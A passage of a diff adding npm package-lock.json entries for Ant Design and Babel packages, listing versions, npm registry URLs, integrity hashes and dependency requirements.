zL+qxcaf!RCb~}$Wr19TAl-T$49E7Bo?qYV$Eh##DsriQI{Rx*pcs=u|0r#!bpS$Z` zP?h-FR;}FO_6CCcH@{5mi${>7R_Lbws~Pk1or=2Hz!>&SdiN2tF1W( zv#0aKwiKIBAcCCwDUAY`QanJ4(CqQRX`K9T5;=uea!lDh^Z`wbaud9T;R6HgyISri zu(PvfBoL0hqRZuA0KoQEoX$eV=5bGWM0MvA>O%9|2NpJqTKEj-rfgy#Yp#=<%}Ere zsMw*VNm1?TzW|#Z(5`Yuo|E#w!bj>9fvR)xJgG5BfmVfV2Pk)CGR>2F=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/@ant-design/colors": { + "version": "7.2.1", + "resolved": "https://registry.npmjs.org/@ant-design/colors/-/colors-7.2.1.tgz", + "integrity": "sha512-lCHDcEzieu4GA3n8ELeZ5VQ8pKQAWcGGLRTQ50aQM2iqPpq2evTxER84jfdPvsPAtEcZ7m44NI45edFMo8oOYQ==", + "license": "MIT", + "dependencies": { + "@ant-design/fast-color": "^2.0.6" + } + }, + "node_modules/@ant-design/cssinjs": { + "version": "1.24.0", + "resolved": "https://registry.npmjs.org/@ant-design/cssinjs/-/cssinjs-1.24.0.tgz", + "integrity": "sha512-K4cYrJBsgvL+IoozUXYjbT6LHHNt+19a9zkvpBPxLjFHas1UpPM2A5MlhROb0BT8N8WoavM5VsP9MeSeNK/3mg==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.11.1", + "@emotion/hash": "^0.8.0", + "@emotion/unitless": "^0.7.5", + "classnames": "^2.3.1", + "csstype": "^3.1.3", + "rc-util": "^5.35.0", + "stylis": "^4.3.4" + }, + "peerDependencies": { + "react": ">=16.0.0", + "react-dom": ">=16.0.0" + } + }, + "node_modules/@ant-design/cssinjs-utils": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/@ant-design/cssinjs-utils/-/cssinjs-utils-1.1.3.tgz", + "integrity": "sha512-nOoQMLW1l+xR1Co8NFVYiP8pZp3VjIIzqV6D6ShYF2ljtdwWJn5WSsH+7kvCktXL/yhEtWURKOfH5Xz/gzlwsg==", + "license": "MIT", + "dependencies": { + "@ant-design/cssinjs": "^1.21.0", + "@babel/runtime": "^7.23.2", + "rc-util": "^5.38.0" + }, + "peerDependencies": { + "react": ">=16.9.0", + "react-dom": ">=16.9.0" + } + }, + "node_modules/@ant-design/fast-color": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/@ant-design/fast-color/-/fast-color-2.0.6.tgz", + "integrity": "sha512-y2217gk4NqL35giHl72o6Zzqji9O7vHh9YmhUVkPtAOpoTCH4uWxo/pr4VE8t0+ChEPs0qo4eJRC5Q1eXWo3vA==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.24.7" + }, + "engines": { + "node": ">=8.x" + } + }, + "node_modules/@ant-design/icons": { + "version": "5.6.1", + "resolved": "https://registry.npmjs.org/@ant-design/icons/-/icons-5.6.1.tgz", + "integrity": "sha512-0/xS39c91WjPAZOWsvi1//zjx6kAp4kxWwctR6kuU6p133w8RU0D2dSCvZC19uQyharg/sAvYxGYWl01BbZZfg==", + "license": "MIT", + "dependencies": { + "@ant-design/colors": "^7.0.0", + "@ant-design/icons-svg": "^4.4.0", + "@babel/runtime": "^7.24.8", + "classnames": "^2.2.6", + "rc-util": "^5.31.1" + }, + "engines": { + "node": ">=8" + }, + "peerDependencies": { + "react": ">=16.0.0", + "react-dom": ">=16.0.0" + } + }, + "node_modules/@ant-design/icons-svg": { + "version": "4.4.2", + "resolved": "https://registry.npmjs.org/@ant-design/icons-svg/-/icons-svg-4.4.2.tgz", + "integrity": "sha512-vHbT+zJEVzllwP+CM+ul7reTEfBR0vgxFe7+lREAsAA7YGsYpboiq2sQNeQeRvh09GfQgs/GyFEvZpJ9cLXpXA==", + "license": "MIT" + }, + "node_modules/@ant-design/react-slick": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@ant-design/react-slick/-/react-slick-1.1.2.tgz", + "integrity": "sha512-EzlvzE6xQUBrZuuhSAFTdsr4P2bBBHGZwKFemEfq8gIGyIQCxalYfZW/T2ORbtQx5rU69o+WycP3exY/7T1hGA==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.10.4", + "classnames": "^2.2.5", + "json2mq": "^0.2.0", + "resize-observer-polyfill": "^1.5.1", + "throttle-debounce": "^5.0.0" + }, + "peerDependencies": { + "react": ">=16.9.0" + } + }, + "node_modules/@babel/code-frame": { + "version": "7.29.0", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.29.0.tgz", + "integrity": "sha512-9NhCeYjq9+3uxgdtp20LSiJXJvN0FeCtNGpJxuMFZ1Kv3cWUNb6DOhJwUvcVCzKGR66cw4njwM6hrJLqgOwbcw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-validator-identifier": "^7.28.5", + "js-tokens": "^4.0.0", + "picocolors": "^1.1.1" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/compat-data": { + "version": "7.29.0", + "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.29.0.tgz", + "integrity": "sha512-T1NCJqT/j9+cn8fvkt7jtwbLBfLC/1y1c7NtCeXFRgzGTsafi68MRv8yzkYSapBnFA6L3U2VSc02ciDzoAJhJg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/core": { + "version": "7.29.0", + "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.29.0.tgz", + "integrity": "sha512-CGOfOJqWjg2qW/Mb6zNsDm+u5vFQ8DxXfbM09z69p5Z6+mE1ikP2jUXw+j42Pf1XTYED2Rni5f95npYeuwMDQA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/code-frame": "^7.29.0", + "@babel/generator": "^7.29.0", + "@babel/helper-compilation-targets": "^7.28.6", + "@babel/helper-module-transforms": "^7.28.6", + "@babel/helpers": "^7.28.6", + "@babel/parser": "^7.29.0", + "@babel/template": "^7.28.6", + "@babel/traverse": "^7.29.0", + "@babel/types": "^7.29.0", + "@jridgewell/remapping": "^2.3.5", + "convert-source-map": "^2.0.0", + "debug": "^4.1.0", + "gensync": "^1.0.0-beta.2", + "json5": "^2.2.3", + "semver": "^6.3.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/babel" + } + }, + "node_modules/@babel/eslint-parser": { + "version": "7.28.6", + "resolved": "https://registry.npmjs.org/@babel/eslint-parser/-/eslint-parser-7.28.6.tgz", + "integrity": "sha512-QGmsKi2PBO/MHSQk+AAgA9R6OHQr+VqnniFE0eMWZcVcfBZoA2dKn2hUsl3Csg/Plt9opRUWdY7//VXsrIlEiA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@nicolo-ribaudo/eslint-scope-5-internals": "5.1.1-v1", + "eslint-visitor-keys": "^2.1.0", + "semver": "^6.3.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || >=14.0.0" + }, + "peerDependencies": { + "@babel/core": "^7.11.0", + "eslint": "^7.5.0 || ^8.0.0 || ^9.0.0" + } + }, + "node_modules/@babel/eslint-parser/node_modules/eslint-visitor-keys": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-2.1.0.tgz", + "integrity": "sha512-0rSmRBzXgDzIsD6mGdJgevzgezI534Cer5L/vyMX0kHzT/jiB43jRhd9YUlMGYLQy2zprNmoT8qasCGtY+QaKw==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": ">=10" + } + }, + "node_modules/@babel/generator": { + "version": "7.29.1", + "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.29.1.tgz", + "integrity": "sha512-qsaF+9Qcm2Qv8SRIMMscAvG4O3lJ0F1GuMo5HR/Bp02LopNgnZBC/EkbevHFeGs4ls/oPz9v+Bsmzbkbe+0dUw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/parser": "^7.29.0", + "@babel/types": "^7.29.0", + "@jridgewell/gen-mapping": "^0.3.12", + "@jridgewell/trace-mapping": "^0.3.28", + "jsesc": "^3.0.2" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-annotate-as-pure": { + "version": "7.27.3", + "resolved": "https://registry.npmjs.org/@babel/helper-annotate-as-pure/-/helper-annotate-as-pure-7.27.3.tgz", + "integrity": "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/types": "^7.27.3" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-compilation-targets": { + "version": "7.28.6", + "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.28.6.tgz", + "integrity": "sha512-JYtls3hqi15fcx5GaSNL7SCTJ2MNmjrkHXg4FSpOA/grxK8KwyZ5bubHsCq8FXCkua6xhuaaBit+3b7+VZRfcA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/compat-data": "^7.28.6", + "@babel/helper-validator-option": "^7.27.1", + "browserslist": "^4.24.0", + "lru-cache": "^5.1.1", + "semver": "^6.3.1" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-create-class-features-plugin": { + "version": "7.28.6", + "resolved": "https://registry.npmjs.org/@babel/helper-create-class-features-plugin/-/helper-create-class-features-plugin-7.28.6.tgz", + "integrity": "sha512-dTOdvsjnG3xNT9Y0AUg1wAl38y+4Rl4sf9caSQZOXdNqVn+H+HbbJ4IyyHaIqNR6SW9oJpA/RuRjsjCw2IdIow==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.27.3", + "@babel/helper-member-expression-to-functions": "^7.28.5", + "@babel/helper-optimise-call-expression": "^7.27.1", + "@babel/helper-replace-supers": "^7.28.6", + "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", + "@babel/traverse": "^7.28.6", + "semver": "^6.3.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/helper-create-regexp-features-plugin": { + "version": "7.28.5", + "resolved": "https://registry.npmjs.org/@babel/helper-create-regexp-features-plugin/-/helper-create-regexp-features-plugin-7.28.5.tgz", + "integrity": "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.27.3", + "regexpu-core": "^6.3.1", + "semver": "^6.3.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/helper-define-polyfill-provider": { + "version": "0.6.8", + "resolved": "https://registry.npmjs.org/@babel/helper-define-polyfill-provider/-/helper-define-polyfill-provider-0.6.8.tgz", + "integrity": "sha512-47UwBLPpQi1NoWzLuHNjRoHlYXMwIJoBf7MFou6viC/sIHWYygpvr0B6IAyh5sBdA2nr2LPIRww8lfaUVQINBA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-compilation-targets": "^7.28.6", + "@babel/helper-plugin-utils": "^7.28.6", + "debug": "^4.4.3", + "lodash.debounce": "^4.0.8", + "resolve": "^1.22.11" + }, + "peerDependencies": { + "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" + } + }, + "node_modules/@babel/helper-globals": { + "version": "7.28.0", + "resolved": "https://registry.npmjs.org/@babel/helper-globals/-/helper-globals-7.28.0.tgz", + "integrity": "sha512-+W6cISkXFa1jXsDEdYA8HeevQT/FULhxzR99pxphltZcVaugps53THCeiWA8SguxxpSp3gKPiuYfSWopkLQ4hw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-member-expression-to-functions": { + "version": "7.28.5", + "resolved": "https://registry.npmjs.org/@babel/helper-member-expression-to-functions/-/helper-member-expression-to-functions-7.28.5.tgz", + "integrity": "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/traverse": "^7.28.5", + "@babel/types": "^7.28.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-module-imports": { + "version": "7.28.6", + "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.28.6.tgz", + "integrity": "sha512-l5XkZK7r7wa9LucGw9LwZyyCUscb4x37JWTPz7swwFE/0FMQAGpiWUZn8u9DzkSBWEcK25jmvubfpw2dnAMdbw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/traverse": "^7.28.6", + "@babel/types": "^7.28.6" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-module-transforms": { + "version": "7.28.6", + "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.28.6.tgz", + "integrity": "sha512-67oXFAYr2cDLDVGLXTEABjdBJZ6drElUSI7WKp70NrpyISso3plG9SAGEF6y7zbha/wOzUByWWTJvEDVNIUGcA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-module-imports": "^7.28.6", + "@babel/helper-validator-identifier": "^7.28.5", + "@babel/traverse": "^7.28.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/helper-optimise-call-expression": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/helper-optimise-call-expression/-/helper-optimise-call-expression-7.27.1.tgz", + "integrity": "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/types": "^7.27.1" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-plugin-utils": { + "version": "7.28.6", + "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.28.6.tgz", + "integrity": "sha512-S9gzZ/bz83GRysI7gAD4wPT/AI3uCnY+9xn+Mx/KPs2JwHJIz1W8PZkg2cqyt3RNOBM8ejcXhV6y8Og7ly/Dug==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-remap-async-to-generator": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/helper-remap-async-to-generator/-/helper-remap-async-to-generator-7.27.1.tgz", + "integrity": "sha512-7fiA521aVw8lSPeI4ZOD3vRFkoqkJcS+z4hFo82bFSH/2tNd6eJ5qCVMS5OzDmZh/kaHQeBaeyxK6wljcPtveA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.27.1", + "@babel/helper-wrap-function": "^7.27.1", + "@babel/traverse": "^7.27.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/helper-replace-supers": { + "version": "7.28.6", + "resolved": "https://registry.npmjs.org/@babel/helper-replace-supers/-/helper-replace-supers-7.28.6.tgz", + "integrity": "sha512-mq8e+laIk94/yFec3DxSjCRD2Z0TAjhVbEJY3UQrlwVo15Lmt7C2wAUbK4bjnTs4APkwsYLTahXRraQXhb1WCg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-member-expression-to-functions": "^7.28.5", + "@babel/helper-optimise-call-expression": "^7.27.1", + "@babel/traverse": "^7.28.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/helper-skip-transparent-expression-wrappers": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/helper-skip-transparent-expression-wrappers/-/helper-skip-transparent-expression-wrappers-7.27.1.tgz", + "integrity": "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/traverse": "^7.27.1", + "@babel/types": "^7.27.1" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-string-parser": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.27.1.tgz", + "integrity": "sha512-qMlSxKbpRlAridDExk92nSobyDdpPijUq2DW6oDnUqd0iOGxmQjyqhMIihI9+zv4LPyZdRje2cavWPbCbWm3eA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-validator-identifier": { + "version": "7.28.5", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.28.5.tgz", + "integrity": "sha512-qSs4ifwzKJSV39ucNjsvc6WVHs6b7S03sOh2OcHF9UHfVPqWWALUsNUVzhSBiItjRZoLHx7nIarVjqKVusUZ1Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-validator-option": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.27.1.tgz", + "integrity": "sha512-YvjJow9FxbhFFKDSuFnVCe2WxXk1zWc22fFePVNEaWJEu8IrZVlda6N0uHwzZrUM1il7NC9Mlp4MaJYbYd9JSg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-wrap-function": { + "version": "7.28.6", + "resolved": "https://registry.npmjs.org/@babel/helper-wrap-function/-/helper-wrap-function-7.28.6.tgz", + "integrity": "sha512-z+PwLziMNBeSQJonizz2AGnndLsP2DeGHIxDAn+wdHOGuo4Fo1x1HBPPXeE9TAOPHNNWQKCSlA2VZyYyyibDnQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/template": "^7.28.6", + "@babel/traverse": "^7.28.6", + "@babel/types": "^7.28.6" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helpers": { + "version": "7.29.2", + "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.29.2.tgz", + "integrity": "sha512-HoGuUs4sCZNezVEKdVcwqmZN8GoHirLUcLaYVNBK2J0DadGtdcqgr3BCbvH8+XUo4NGjNl3VOtSjEKNzqfFgKw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/template": "^7.28.6", + "@babel/types": "^7.29.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/parser": { + "version": "7.29.2", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.29.2.tgz", + "integrity": "sha512-4GgRzy/+fsBa72/RZVJmGKPmZu9Byn8o4MoLpmNe1m8ZfYnz5emHLQz3U4gLud6Zwl0RZIcgiLD7Uq7ySFuDLA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/types": "^7.29.0" + }, + "bin": { + "parser": "bin/babel-parser.js" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@babel/plugin-bugfix-firefox-class-in-computed-class-key": { + "version": "7.28.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-bugfix-firefox-class-in-computed-class-key/-/plugin-bugfix-firefox-class-in-computed-class-key-7.28.5.tgz", + "integrity": "sha512-87GDMS3tsmMSi/3bWOte1UblL+YUTFMV8SZPZ2eSEL17s74Cw/l63rR6NmGVKMYW2GYi85nE+/d6Hw5N0bEk2Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.27.1", + "@babel/traverse": "^7.28.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/plugin-bugfix-safari-class-field-initializer-scope": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-bugfix-safari-class-field-initializer-scope/-/plugin-bugfix-safari-class-field-initializer-scope-7.27.1.tgz", + "integrity": "sha512-qNeq3bCKnGgLkEXUuFry6dPlGfCdQNZbn7yUAPCInwAJHMU7THJfrBSozkcWq5sNM6RcF3S8XyQL2A52KNR9IA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.27.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression/-/plugin-bugfix-safari-id-destructuring-collision-in-function-expression-7.27.1.tgz", + "integrity": "sha512-g4L7OYun04N1WyqMNjldFwlfPCLVkgB54A/YCXICZYBsvJJE3kByKv9c9+R/nAfmIfjl2rKYLNyMHboYbZaWaA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.27.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining/-/plugin-bugfix-v8-spread-parameters-in-optional-chaining-7.27.1.tgz", + "integrity": "sha512-oO02gcONcD5O1iTLi/6frMJBIwWEHceWGSGqrpCmEL8nogiS6J9PBlE48CaK20/Jx1LuRml9aDftLgdjXT8+Cw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.27.1", + "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", + "@babel/plugin-transform-optional-chaining": "^7.27.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.13.0" + } + }, + "node_modules/@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly": { + "version": "7.28.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly/-/plugin-bugfix-v8-static-class-fields-redefine-readonly-7.28.6.tgz", + "integrity": "sha512-a0aBScVTlNaiUe35UtfxAN7A/tehvvG4/ByO6+46VPKTRSlfnAFsgKy0FUh+qAkQrDTmhDkT+IBOKlOoMUxQ0g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.28.6", + "@babel/traverse": "^7.28.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/plugin-proposal-class-properties": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-class-properties/-/plugin-proposal-class-properties-7.18.6.tgz", + "integrity": "sha512-cumfXOF0+nzZrrN8Rf0t7M+tF6sZc7vhQwYQck9q1/5w2OExlD+b4v4RpMJFaV1Z7WcDRgO6FqvxqxGlwo+RHQ==", + "deprecated": "This proposal has been merged to the ECMAScript standard and thus this plugin is no longer maintained. Please use @babel/plugin-transform-class-properties instead.", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-create-class-features-plugin": "^7.18.6", + "@babel/helper-plugin-utils": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-decorators": { + "version": "7.29.0", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-decorators/-/plugin-proposal-decorators-7.29.0.tgz", + "integrity": "sha512-CVBVv3VY/XRMxRYq5dwr2DS7/MvqPm23cOCjbwNnVrfOqcWlnefua1uUs0sjdKOGjvPUG633o07uWzJq4oI6dA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-create-class-features-plugin": "^7.28.6", + "@babel/helper-plugin-utils": "^7.28.6", + "@babel/plugin-syntax-decorators": "^7.28.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-nullish-coalescing-operator": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-nullish-coalescing-operator/-/plugin-proposal-nullish-coalescing-operator-7.18.6.tgz", + "integrity": "sha512-wQxQzxYeJqHcfppzBDnm1yAY0jSRkUXR2z8RePZYrKwMKgMlE8+Z6LUno+bd6LvbGh8Gltvy74+9pIYkr+XkKA==", + "deprecated": "This proposal has been merged to the ECMAScript standard and thus this plugin is no longer maintained. Please use @babel/plugin-transform-nullish-coalescing-operator instead.", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.18.6", + "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-numeric-separator": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-numeric-separator/-/plugin-proposal-numeric-separator-7.18.6.tgz", + "integrity": "sha512-ozlZFogPqoLm8WBr5Z8UckIoE4YQ5KESVcNudyXOR8uqIkliTEgJ3RoketfG6pmzLdeZF0H/wjE9/cCEitBl7Q==", + "deprecated": "This proposal has been merged to the ECMAScript standard and thus this plugin is no longer maintained. Please use @babel/plugin-transform-numeric-separator instead.", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.18.6", + "@babel/plugin-syntax-numeric-separator": "^7.10.4" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-optional-chaining": { + "version": "7.21.0", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-optional-chaining/-/plugin-proposal-optional-chaining-7.21.0.tgz", + "integrity": "sha512-p4zeefM72gpmEe2fkUr/OnOXpWEf8nAgk7ZYVqqfFiyIG7oFfVZcCrU64hWn5xp4tQ9LkV4bTIa5rD0KANpKNA==", + "deprecated": "This proposal has been merged to the ECMAScript standard and thus this plugin is no longer maintained. Please use @babel/plugin-transform-optional-chaining instead.", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.20.2", + "@babel/helper-skip-transparent-expression-wrappers": "^7.20.0", + "@babel/plugin-syntax-optional-chaining": "^7.8.3" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-private-methods": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-private-methods/-/plugin-proposal-private-methods-7.18.6.tgz", + "integrity": "sha512-nutsvktDItsNn4rpGItSNV2sz1XwS+nfU0Rg8aCx3W3NOKVzdMjJRu0O5OkgDp3ZGICSTbgRpxZoWsxoKRvbeA==", + "deprecated": "This proposal has been merged to the ECMAScript standard and thus this plugin is no longer maintained. Please use @babel/plugin-transform-private-methods instead.", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-create-class-features-plugin": "^7.18.6", + "@babel/helper-plugin-utils": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-private-property-in-object": { + "version": "7.21.11", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-private-property-in-object/-/plugin-proposal-private-property-in-object-7.21.11.tgz", + "integrity": "sha512-0QZ8qP/3RLDVBwBFoWAwCtgcDZJVwA5LUJRZU8x2YFfKNuFq161wK3cuGrALu5yiPu+vzwTAg/sMWVNeWeNyaw==", + "deprecated": "This proposal has been merged to the ECMAScript standard and thus this plugin is no longer maintained. Please use @babel/plugin-transform-private-property-in-object instead.", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.18.6", + "@babel/helper-create-class-features-plugin": "^7.21.0", + "@babel/helper-plugin-utils": "^7.20.2", + "@babel/plugin-syntax-private-property-in-object": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-async-generators": { + "version": "7.8.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-async-generators/-/plugin-syntax-async-generators-7.8.4.tgz", + "integrity": "sha512-tycmZxkGfZaxhMRbXlPXuVFpdWlXpir2W4AMhSJgRKzk/eDlIXOhb2LHWoLpDF7TEHylV5zNhykX6KAgHJmTNw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-bigint": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-bigint/-/plugin-syntax-bigint-7.8.3.tgz", + "integrity": "sha512-wnTnFlG+YxQm3vDxpGE57Pj0srRU4sHE/mDkt1qv2YJJSeUAec2ma4WLUnUPeKjyrfntVwe/N6dCXpU+zL3Npg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + 